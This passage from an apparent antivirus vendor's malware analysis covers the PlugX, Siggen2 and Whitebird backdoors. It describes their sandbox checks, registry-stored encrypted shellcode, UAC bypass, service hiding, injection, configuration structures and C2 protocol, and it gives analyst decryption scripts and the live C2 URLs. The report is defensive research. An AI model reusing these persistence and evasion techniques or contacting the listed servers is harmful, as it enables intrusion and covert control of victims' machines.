CloseHandle | 0x528796C6 | | CreateFileA | 0x4FDAF6DA | | DeleteFileA | 0x13DD2ED7 | | ExitProcess | 0x56A2B5F0 | | GetAdaptersInfo | 0x62C9E1BD | | GetModuleFileNameA | 0xFE61445D | | GetSystemDirectoryA | 0x60BCDE05 | | LoadLibraryA | 0x726774C | | ReadFile | 0xBB5F9EAD | | RegCloseKey | 0x81C2AC44 | | RegDeleteValueA | 0x3846A3A8 | | RegEnumValueA | 0x2EC95AA4 | | RegOpenKeyExA | 0x3E9E3F88 | | RegQueryValueExA | 0x8FF0E305 | | VirtualAlloc | 0xE553A458 | | VirtualFree | 0x300F2F0B | | VirtualProtect | 0xC38AE110 | | WinExec | 0x876F8B31 | | WriteFile | 0x5BAE572D | In addition, the backdoor checks if it is executed in a sandbox. After receiving the function addresses and checking for execution in the sandbox, BackDoor.PlugX.93 removes the updatecfgSetup task from the task scheduler. The key for shellcode encryption is MD5 from the following registry key values: - HKLM\Software\Microsoft\Windows NT\CurrentVersion\InstallDate - HKLM\System\ControlSet001\Control\ComputerName\ComputerName The shellcode is stored in the following registry keys: - HKLM\Software\BINARY - HKCU\Software\BINARY Before running the shellcode, it’ll be decrypted in 2 steps: first, using the RC4 algorithm; then, with XOR. ### BackDoor.Siggen2.3622 - Added to the Dr.Web virus database: 2021-11-03 - Virus description added: 2021-xx-xx - Packer: UPX - SHA1 hash: be4d8344669f73e9620b9060fd87bc519a05617a **Description** A backdoor written in Go. It’s packed by UPX. Investigated backdoor version V2.5.5 z 2021.7.19. **Operating principle** In the beginning, the malicious code checks if another backdoor copy is running. The trojan checks for the `c:\windows\inf\mdmslbv.inf` file. If it exists, the trojan starts reading. You can use the following script to decrypt: ```python import sys with open(sys.argv[1], 'rb') as f: d = f.read() s = bytearray() for i in range(len(d)): s.append(d[i]) for i in range(len(s)-2, 0, -1): s[i] = (((s[i + 1] * s[i + 1]) ^ s[i]) & 0xff) with open(sys.argv[1] + '.dec', 'wb') as f: f.write(s) ``` **Encrypted file’s length** The packet’s structure: - random string from 10 to 19 characters long - between the `<a>...</a>` tags contains the backdoor process’s PID - between the `<b>...</b>` tags is the process’s name - random string from 10 to 19 characters long The trojan checks for the existence of a process with the specified parameters. If it finds it, the trojan terminates its work. If it doesn’t find a process with the specified parameters or the `mdmslbv.inf` file itself, the trojan generates data as shown above. Then, it encrypts and writes to the `c:\windows\inf\mdmslbv.inf`. **Communication with the command and control server** The trojan has command and control server: `blog[.]globnewsline[.]com`. The trojan sends a GET request to the following URL: ``` hxxps://blog.globnewsline.com:443/db/db.asp ``` using User-Agent "Mozilla/5.0 (X11; Windows x86_64; rv:70.0) Gecko/20100101 Firefox/70.0". If the server response contains the substring "Website under construction", then the trojan considers that the control server is available. If the server is unavailable, the malicious code checks for the presence of a proxy configuration file `c:\windows\inf\bksotw.inf`. If that’s present, the trojan reads the parameters written in the file. The backdoor uses MAC addresses as the network interface bot ID. For heartbeat requests, the following POST requests are used: ``` https://blog.globnewsline.com:443/db/db.asp?m=w&n=~A<macaddr>.t ``` where `<macaddr>` is the MAC address string, converted to uppercase with colons removed. Next, a GET request is sent to get a list of commands: ``` https://blog.globnewsline.com:443/db/A<macaddr>.c ``` The server response is encrypted in the same way as the file with the backdoor process’s PID. The following commands can be executed: - up - down - bg - bgd - getinfo The command’s result is encrypted the same way as the command itself was encrypted. Then, it’s sent in the POST request’s body to the following URL: ``` https://blog.globnewsline.com:443/db/A<macaddr>.c ``` ### BackDoor.Whitebird.30 - Added to the Dr.Web virus database: 2021-10-21 - Virus description added: 2021-xx-xx - Packer: absent - Compilation date: 2021-29-03 - SHA1 hash: abfd737b14413a7c6a21c8757aeb6e151701626a **Description** A multi-functional backdoor trojan for 64-bit and 32-bit Microsoft Windows operating system family. It’s designed to establish an encrypted connection with the command and control server and unauthorized control of an infected computer. It has a file manager and Remote Shell’s functions. **Preparing procedures** At the beginning of the work, the backdoor decrypts the overlay provided by the shellcode. The first encryption layer is removed by the following algorithm: ```python k = 0x37 s = bytearray() for i in range(len(d)): c = d[i] ^ k s.append(c) k = (k + c) & 0xff ``` The second layer is the XOR operation with the key 0xCC. This overlay contains: - configuration of trojan - module for bypassing UAC **Configuration looks as follows:** ```c struct st_proxy { char proxy_addr[32]; char proxy_login[64]; char proxy_password[64]; _BYTE pad[2]; }; struct st_config { char cnc_addr[4][34]; st_proxy proxies[4]; char home_dir[260]; char exe_name[50]; char loader_name[50]; char shellcode_name[50]; char software_name[260]; char startup_argument[50]; _DWORD reg_hkey; char reg_run_key[200]; char reg_value_name[52]; char taskname[52]; _DWORD mstask_mo; char svcname[50]; char svcdisplayname[50]; char svcdescription[256]; char reg_uninstall_key[50]; char inject_target_usr[260]; char inject_target[260]; _BYTE byte0[2]; _BYTE flags; _BYTE pad[3]; _DWORD keepalivetime; unsigned __int8 key[16]; }; ``` The flags field displays which autoload methods the trojan should use, and what launch features are: ```c enum em_flags { GOT_ENOUGH_RIGHTS= 0x1, UNK_FLAG_2 = 0x2, UNK_FLAG_4 = 0x4, INSTALL_AS_MSTASK = 0x8, INSTALL_AS_SERVICE = 0x10, RUN_WITH_ARGUMENT = 0x20, INJECT_TO_PROCESS = 0x40, RUN_AS_USER = 0x80, }; ``` If the launch is specified via the task scheduler (INSTALL_AS_MSTASK), then the configuration flags create a mutex after decrypting. That prevents restart. Next, it checks if the trojan has enough rights to launch in the way that was previously specified in the configuration. If not, it restarts itself to bypass UAC. Trojan checks for the presence of a file in the path `C:\Users\Public\Downloads\clockinstall.tmp`, and if it exists, it deletes `clockinstall.tmp`. If the `clockinstall.tmp` file is missing, it checks if the install file exists in the folder from which the trojan was launched. If it exists, it removes it. Then, it installs itself into the system in accordance with the type specified in the configuration. The backdoor will also try to hide its activity from the user. If the trojan runs on a 32-bit OS, then the same mechanism for hiding a service from running ones is valid, as in BackDoor.PlugX.28, deleting that structure from the list of ServiceDatabase structures. That corresponds to the trojan service. If the configuration specifies that the trojan should be injected into a process, then it’ll be injected into the target process. If the RUN_AS_USER flag is specified in the configuration, then the trojan will wait until at least one authorized user appears. After that, it’ll create its own process, but on behalf of the user. Regardless of the trojan's autorun type, only one process can communicate with the command and control server. This creates a mutex. Before attempting to establish a connection with the command and control server, trojan determines the proxy server settings. For this purpose: - The presence of the `<process_name>.ini` file in the folder from which the trojan process was launched is checked. Example of the configuration: ``` [AntiVir] Cloud=0A0804D22420000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000